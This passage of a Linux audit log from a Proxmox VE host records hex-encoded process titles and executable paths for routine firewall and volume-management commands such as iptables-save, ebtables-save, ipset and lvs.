{"@timestamp":1781965345346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.346:65214): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966125440,"@rawstring":"node=pve type=PATH msg=audit(1781966125.440:68552): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.341:65213): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966125433,"@rawstring":"node=pve type=PATH msg=audit(1781966125.433:68551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.335:65212): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966125433,"@rawstring":"node=pve type=PATH msg=audit(1781966125.433:68551): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.329:65211): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966125424,"@rawstring":"node=pve type=PATH msg=audit(1781966125.424:68550): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.322:65210): proctitle=697073657400726573746F7265"} {"@timestamp":1781966125424,"@rawstring":"node=pve type=PATH msg=audit(1781966125.424:68550): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.316:65209): proctitle=\"ip6tables-save\""} {"@timestamp":1781966125414,"@rawstring":"node=pve type=PATH msg=audit(1781966125.414:68549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.310:65208): proctitle=\"iptables-save\""} {"@timestamp":1781966125414,"@rawstring":"node=pve type=PATH msg=audit(1781966125.414:68549): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345304,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.304:65207): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966125404,"@rawstring":"node=pve type=PATH msg=audit(1781966125.404:68548): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.300:65206): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125404,"@rawstring":"node=pve type=PATH msg=audit(1781966125.404:68548): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.300:65205): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125394,"@rawstring":"node=pve type=PATH msg=audit(1781966125.394:68546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.300:65204): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125394,"@rawstring":"node=pve type=PATH msg=audit(1781966125.394:68546): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.296:65203): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125385,"@rawstring":"node=pve type=PATH msg=audit(1781966125.385:68545): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.286:65202): proctitle=\"ip6tables-save\""} {"@timestamp":1781966125385,"@rawstring":"node=pve type=PATH msg=audit(1781966125.385:68545): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.280:65201): proctitle=\"iptables-save\""} {"@timestamp":1781966125378,"@rawstring":"node=pve type=PATH msg=audit(1781966125.378:68544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.274:65200): proctitle=69707365740073617665"} {"@timestamp":1781966125378,"@rawstring":"node=pve type=PATH msg=audit(1781966125.378:68544): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.268:65199): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966125371,"@rawstring":"node=pve type=PATH msg=audit(1781966125.371:68543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.259:65198): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966125371,"@rawstring":"node=pve type=PATH msg=audit(1781966125.371:68543): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965344284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965344.284:65197): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966125365,"@rawstring":"node=pve type=PATH msg=audit(1781966125.365:68542): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965344250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965344.250:65196): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966125365,"@rawstring":"node=pve type=PATH msg=audit(1781966125.365:68542): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965342.671:65195): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125357,"@rawstring":"node=pve type=PATH msg=audit(1781966125.357:68541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965342.671:65194): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125357,"@rawstring":"node=pve type=PATH msg=audit(1781966125.357:68541): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965342.671:65193): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125348,"@rawstring":"node=pve type=PATH msg=audit(1781966125.348:68540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965342.655:65192): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125348,"@rawstring":"node=pve type=PATH msg=audit(1781966125.348:68540): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965342.655:65191): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125340,"@rawstring":"node=pve type=PATH msg=audit(1781966125.340:68539): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965342.655:65190): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125340,"@rawstring":"node=pve type=PATH msg=audit(1781966125.340:68539): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965337.648:65189): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125334,"@rawstring":"node=pve type=PATH msg=audit(1781966125.334:68538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965337.648:65188): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125334,"@rawstring":"node=pve type=PATH msg=audit(1781966125.334:68538): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965337.648:65187): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125331,"@rawstring":"node=pve type=PATH msg=audit(1781966125.331:68537): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965337.642:65186): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125331,"@rawstring":"node=pve type=PATH msg=audit(1781966125.331:68537): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965337.642:65185): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125329,"@rawstring":"node=pve type=PATH msg=audit(1781966125.329:68536): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965337.642:65184): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125329,"@rawstring":"node=pve type=PATH msg=audit(1781966125.329:68536): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335247,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.247:65183): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966125329,"@rawstring":"node=pve type=PATH msg=audit(1781966125.329:68535): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.241:65182): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125324,"@rawstring":"node=pve type=PATH msg=audit(1781966125.324:68534): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.240:65181): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125324,"@rawstring":"node=pve type=PATH msg=audit(1781966125.324:68534): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.240:65180): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125324,"@rawstring":"node=pve type=PATH msg=audit(1781966125.324:68534): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.236:65179): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125315,"@rawstring":"node=pve type=PATH msg=audit(1781966125.315:68533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.228:65178): proctitle=\"ip6tables-save\""} {"@timestamp":1781966125315,"@rawstring":"node=pve type=PATH msg=audit(1781966125.315:68533): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.220:65177): proctitle=\"iptables-save\""} {"@timestamp":1781966125306,"@rawstring":"node=pve type=PATH msg=audit(1781966125.306:68532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.210:65176): proctitle=\"ip6tables-save\""} {"@timestamp":1781966125306,"@rawstring":"node=pve type=PATH msg=audit(1781966125.306:68532): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.203:65175): proctitle=\"iptables-save\""} {"@timestamp":1781966125300,"@rawstring":"node=pve type=PATH msg=audit(1781966125.300:68531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.200:65174): proctitle=\"ebtables-restore\""} {"@timestamp":1781966125300,"@rawstring":"node=pve type=PATH msg=audit(1781966125.300:68531): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.197:65173): proctitle=\"ebtables-restore\""} {"@timestamp":1781966125291,"@rawstring":"node=pve type=PATH msg=audit(1781966125.291:68530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.191:65172): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966125291,"@rawstring":"node=pve type=PATH msg=audit(1781966125.291:68530): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.185:65171): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966125279,"@rawstring":"node=pve type=PATH msg=audit(1781966125.279:68529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.179:65170): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966125279,"@rawstring":"node=pve type=PATH msg=audit(1781966125.279:68529): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.171:65169): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966124141,"@rawstring":"node=pve type=PATH msg=audit(1781966124.141:68528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.165:65168): proctitle=697073657400726573746F7265"} {"@timestamp":1781966124141,"@rawstring":"node=pve type=PATH msg=audit(1781966124.141:68528): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.157:65167): proctitle=\"ip6tables-save\""} {"@timestamp":1781966124105,"@rawstring":"node=pve type=PATH msg=audit(1781966124.105:68527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.151:65166): proctitle=\"iptables-save\""} {"@timestamp":1781966124105,"@rawstring":"node=pve type=PATH msg=audit(1781966124.105:68527): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.147:65165): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PATH msg=audit(1781966120.477:68526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.142:65164): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PATH msg=audit(1781966120.477:68526): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.139:65163): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PATH msg=audit(1781966120.477:68525): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.139:65162): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PATH msg=audit(1781966120.477:68524): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.133:65161): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PATH msg=audit(1781966120.468:68523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.127:65160): proctitle=\"ip6tables-save\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PATH msg=audit(1781966120.468:68523): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.118:65159): proctitle=\"iptables-save\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PATH msg=audit(1781966120.468:68522): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.114:65158): proctitle=69707365740073617665"} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PATH msg=audit(1781966120.468:68521): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.106:65157): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PATH msg=audit(1781966115.461:68520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965335.098:65156): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PATH msg=audit(1781966115.461:68520): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965334169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965334.169:65155): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PATH msg=audit(1781966115.461:68519): item=0 